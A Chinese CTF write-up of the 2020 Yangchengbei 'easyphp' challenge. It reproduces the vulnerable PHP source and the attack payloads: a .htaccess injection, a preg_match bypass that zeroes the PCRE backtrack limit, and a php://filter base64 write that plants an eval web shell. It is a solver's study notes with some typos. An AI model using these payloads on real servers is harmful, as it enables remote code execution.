[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过

目录:

    • 一. 自己做:
    • 二、学到的。不足:
    • 三、
      • 1. 利用.htaccess来设置文件自动包含
      • 2. 绕过 \n 的过滤
      • 3. 绕过stristr的过滤。
      • 4. 绕过preg_match
      • 2.思路二:
      • 注意用python写入时的注意点:

好像 原题的话,是由声明的,所以我的本地才不行。
本题环境只对index.php文件进行解析。并且开头和末尾都对当前目录下的文件进行检查,删除(unlink)除了index.php外的所有文件

删除文件,之后写入htaccess文件,那么只能够index.php作为木马文件,
那么我传入一个htaccess,让这个index包含htaccess,有一句话木马,但是再一次用index使用木马的时候,就会把htaccess删除了啊,就没有木马了。

一. 自己做:

源码:

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第1张图片[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第2张图片

不懂,为什么直接写入马的话,不给解析程PHP,而是直接输出,我在本地上添加链接描述都是好的。

二、学到的。不足:

用的是 写入 .htaccess。然后自己包含一句话马,

  1. 学到了正则的[^a-z\.]。看上面有解释,
  2. 到现在也不明白,为什么要写入两次.htaccess。不知道,2020 羊城杯复现 。权当作是重新温习了一遍 .htaccess了把。,好像知道了。我们只能够访问一次index.php。因为访问第二次的时候,就会把.htaccess给删除了。那么我们就要写入另一个PHP文件,然后写入.htaccess文件,但是需要写入两次,下一次的 时候会把上一次的给删除了。
  3. 主要是思路:我们直接prepend_file是不行的,会过滤我们的file,那么思路就来了,要么绕过这个过滤。可用'fl'.'ag'的方法来绕过,
  4. 思路二:因为是file_put_content,然后我们可以用php://filter/convert.base64-decode/resource=.htaccess&content=***这个过滤器,写入base64字符串,这样就不会被检测到其他字符了。然后写入的时候再进行base64解码操作,

三、

1. 利用.htaccess来设置文件自动包含

#format
php_value setting_name setting_value
#example
php_value auto_append_file .htaccess

可以使用auto_prepend_fileauto_append_file来进行包含,这样每个页面都会require所指定的PHP文件,

auto_prepend_file # 在页面的顶部加载文件
auto_append_file # 在页面的底部加载问题

注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。。。

2. 绕过 \n 的过滤

题目会在写入文件的后面添加\nHello, world,我们构造payload时,结尾要用\ 处理content中的\n ,不然违背.htaccess 书写格式会导致Apache 运行崩溃

比如,我们需要写入:

php_value auto_prepend_file .htaccess
#\

如果末尾不加\来转义\n,文件内容就会变为

php_value auto_prepend_file .htaccess
#
Hello, world

会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,然后全部500.

3. 绕过stristr的过滤。

过滤了关键字,可以用 base64,filter过滤器进行绕过。

4. 绕过preg_match

if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }

preg_match的返回值:

returns 1;      // 如果匹配到.
returns 0;      // 如果未匹配到.
returns FALSE;  // 发生错误时.

正则中写的是 if(preg_match("/[^a-z\.]/", $filename) == 1),而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)。这样我们可以用其他的情况来进行绕过,比如,使它发生错误,。

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。

在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。
[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第3张图片
。。。
那么可以设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。。

那我我们就在.htaccess中修改配置,

php_value prce.backtrack_limit 0
php_value prce.jit 0
php_value auto_prepend_file .htaccess
#a\

因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。

php_value pcre.backtrack_limit 0
php_value prec.jit 0
#\

也就是

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess

然后写入一句话,,这里用 base64加密,因为不让我们出现数字和空格,,所以就不行了。

我这样第二次传入马儿的时候,是不能用post传参的,因为访问网页一次以后就删除了htaccess,所以只能够访问一次,所以还是要用get方法传参的,
[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第4张图片

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();

[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第5张图片

说一说,为什么不直接写入这个上面的这个自动包含的东西,呃,,,因为写不进去,要有prepend_file,有file关键词,而题目会检测我们传入的content参数,所以直接写入是不行的,

那不行啊,我们就是要写入这么一段代码进去。
这个时候,就要想到php的伪协议了。我们传入的时候是一种编码,然后用过滤器解码之后写入,然后就行了。那么什么时候用php://filter/write=convert.base64-decode/resource=.htaccess。这样用过滤器来操作,
那么这样的话文件名filename就会收到限制了。
下面这个是限制条件:反斜杠和冒号肯定是不行了啊。
[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第6张图片
那么就要绕过这个preg_match,正好就要那个.htaccess来设置:
所以我们第一次传入:
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
然后再用哪个PHP的过滤器传入我们的那一部分,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
吐了,,我没成功,思路是正确的 啊,

2.思路二:

不是我们像要传入哪个prepend_file么,然后过滤了file,那么我们就在传入的时候,用\把file给分隔开就好了。

我在本地打可以,远程环境就不行,,,吐了。。
[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第7张图片

注意用python写入时的注意点:

反斜杠连接符要进行注释,#在python中是注释符,然后用\#这样也不行,就只能用url编码了
[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过_第8张图片

你可能感兴趣的:(BUUCTF刷题记录)